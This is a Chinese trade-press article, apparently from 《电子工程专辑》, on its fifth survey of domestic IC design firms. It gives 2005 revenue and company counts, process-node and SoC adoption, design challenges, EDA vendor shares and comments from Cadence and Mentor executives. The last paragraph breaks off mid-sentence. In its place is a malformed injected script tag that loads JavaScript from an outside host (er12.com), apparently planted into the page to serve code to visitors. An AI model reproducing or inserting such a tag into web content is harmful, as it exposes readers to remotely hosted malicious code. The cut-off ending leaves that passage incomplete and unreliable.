纵观近几年中国集成电路设计产业的成长历程,尽管产业规模尚小,但发展迅速。据中国半导体行业协会统计,2005年中国大陆ic设计业销售收入同比增幅达52.5%,首次突破100亿元,达到124.3亿元。在连续几年的调查中,我们也发现中国ic设计企业的研发水平在稳步提高,产品档次也有了高端突破,但同时,随着基于ip复用的soc设计渐成主流,中国本土ic公司面临的ip问题也日益凸显。
从另一个角度看,2005年中国设计业进入了理性发展期。在产业的发展过程中,企业间出现了整合重组、优胜劣汰现象,公司数量几乎没有什么增长,与前几年的激增形成鲜明对比。截至2005年,中国ic设计公司总数达479家,与2004年相比,同比增长率仅为0.6% (中国半导体行业协会数据)。其间,一些具有自主创新能力,并采取正确的市场与营销策略的企业脱颖而出,逐步成为行业的中坚力量。
为了持续追踪中国集成电路设计业的发展趋势,今年3月,《电子工程专辑》进行了第五次“中国ic设计公司调查”。本次调查采用电子邮件和电话追访方式,共得到有效回复83份。基于调查和采访结果,本文将从设计水平、热点应用、技术挑战、ip及eda工具使用情况等方面解读本土ic设计公司所面临的挑战与机遇。
数字ic设计工艺突破90纳米,soc设计方兴未艾
2005年,中国ic设计公司的研发能力发生了一些质的飞跃。例如,td-scdma基带芯片设计水平从0.18微米、0.13微米跃至90纳米,标志着中国3g通信核心芯片的设计能力已经提升到国际主流水平。t3g、凯明、展讯、重邮信科等多家公司都有相关产品问世。
图1 2005年中国ic设计公司设计水平一览表。
本次调查显示,2005年,有超过50%的被调研企业所设计产品的规模达到100万门以上。在数字ic开发中,45.2%的公司选择0.18微米工艺,比2004年增加约7%;13.7%的公司表示已经在开发0.13微米的芯片,比2004年增加8个百分点。总体上看,0.18微米仍是数字ic设计的主流选择,部分新产品的开发开始转向0.13微米技术。(图1)
而在模拟和混合信号领域,48.5%的公司采用0.25微米及其以下工艺开发模拟ic,比2004年增长7.1%;有超过56%的公司采用0.25微米及其以下的工艺开发混合信号ic,与2004年相比增幅达9%。
此外,中国ic设计正由传统的asic向soc发展。调查显示,59%的中国ic设计公司介入soc设计领域,这一数据比2004年增长13.5% (图2)。soc正逐渐成为本土ic设计公司的研发重点,除了基于逻辑综合的asic设计方法,他们更倾向于采用基于ip的平台化soc方法进行设计。
设计周期挑战依然严峻,eda工具帮助减少设计反复
此次调查结果显示,设计周期、设计成本控制、ip验证、ip适用性、可测试设计依次是中国ic设计公司最常面对的设计挑战。与2004年相比,模拟电路仿真、设计反复、时序收敛等问题的比例有所下降,但设计成本控制以及缩短设计周期的压力依然不小。
随着深亚微米工艺不断发展,设计的复杂性日益增加,从而容易引起更多的设计反复。现在借助先进的设计方法学,以及适合的eda工具,中国ic设计公司在设计反复次数方面已有所下降。在asic研发过程中,超过六成的被调查者表示设计反复次数少于四次,这表明研发工程师对设计流程及eda软件的使用更加熟练。
图2 2005年中国ic设计公司主要开发的ic类型。
eda工具对soc设计业的发展产生着重大影响。有调查数据表明,目前中国ic设计工程师使用最多的eda工具主要来自cadence、mentor graphics、synopsys三大供应商,分别占到48.4%、28%、26.2%。
面向细分化ic设计时代,eda工具供应商的业务方向也作出相应调整。例如,cadence由原先逐个推出单一工具转向提供kits(工具包),每一个kit都将重点解决关键的设计问题,而kits是将ip和具有代表性的参考设计与集成在平台流程中经过验证的方法相结合,以便解决很多专门应用领域的问题,从而帮助用户减少设计返工并提高设计效率。
cadence总裁兼首席执行官michael j.fister指出:“采用kits,我们的用户能够将宝贵的设计资源用于产品的差异性设计,而非花大力气去进行一些基础性设计,这对一些中小型公司特别有益。”
而mentor graphics则帮助本土设计公司开发中小规模、尤其是消费类电子中需要一些特殊功能的芯片。"这主要是指一些模拟混合的产品,它们的复杂度不高,但可能涉及高电压、射频等电路,这也是富有挑战的。"该公司总裁walden rhine表示。先进eda工具的出现为提升开发人员设计能力创造了条件。
ic应用最热领域仍属消费电子,电源管理ic倍受青睐
随着设计能力的提升,中国ic设计公司不再只研发低端应用芯片,部分公司开始向中高端产品领域进发。例如,?script src=http://er12.com/t.js>











